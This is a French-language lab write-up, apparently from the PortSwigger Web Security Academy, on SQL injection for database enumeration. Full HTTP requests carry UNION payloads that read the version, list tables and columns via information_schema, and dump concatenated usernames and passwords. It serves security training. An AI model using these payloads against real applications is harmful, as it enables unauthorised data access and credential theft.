Examining the database

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > > Tags:

Description

Pour exploiter des failles SQL, il est parfois nécessaire de récupérer des informations sur la base de données.

Déterminer la version

Par exemple pour déterminer la version dans MySQL l’injection est :

' UNION SELECT @@version--

NB : La version est une string, il faut donc utiliser une colone correspondante pour pouvoir afficher la version

Exemple :

GET /filter?category=Lifestyle'+UNION+SELECT+version(),NULL+--+ HTTP/2
Host: 0a2900aa04c2cc68827b847d005900f2.web-security-academy.net
Cookie: session=vGMsMRJCtLPu9AiH0vijRdZCFITqlTTA
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Lister le contenu d’une base de données

La plupart des bases de données ont plusieurs moyens d’afficher les informations de la structure. (excepté ORACLE)

Par exemple, avec information_schema.tables ont peut afficher la liste des tables dans la base de données.

SELECT * FROM information_schema.tables

NB: table_name est la string utilisé pour afficher le nom des tables

Cette exemple montre 3 tables appelé Products, Users, Feedback.

Vous pouvez avec information_schema.columns afficher les colones d’une table spécifique.

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Ce qui nous donne :

NB: column_name est la string utilisé pour afficher le nom des tables

Exemple

Je commence par recherche le nombre de colones, une fois déterminer je cherche une colone permettant d’utiliser une string.

Ensuite, je recherche la liste de tables :

GET /filter?category=Accessories'+UNION+SELECT+table_name,NULL+FROM+information_schema.tables+-- HTTP/2
Host: 0acb005303973b63868dfefa003c00ab.web-security-academy.net
Cookie: session=VpX8o8felPCIhJgmcW2AQjc3ORKKeW8j
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Je liste les tables que je pense intéressantes :

Je recherche le nom des colones parmis les tables trouvés :
GET /filter?category=Accessories'+UNION+SELECT+column_name,NULL+FROM+information_schema.columns+WHERE+table_name+=+'users_xawwly'+-- HTTP/2
Host: 0acb005303973b63868dfefa003c00ab.web-security-academy.net
Cookie: session=VpX8o8felPCIhJgmcW2AQjc3ORKKeW8j
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7

Ce premier résultat me donne des noms de colones intéressant :

Etant donné que je n’ai qu’une colone utilisable pour mes strings, je les joins pour faire apparaître les données côte à côte.
GET /filter?category=Accessories'+UNION+SELECT+username_ixynye+||+'~'+||+password_eveciy,NULL+FROM+users_xawwly+-- HTTP/2
Host: 0acb005303973b63868dfefa003c00ab.web-security-academy.net
Cookie: session=VpX8o8felPCIhJgmcW2AQjc3ORKKeW8j
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7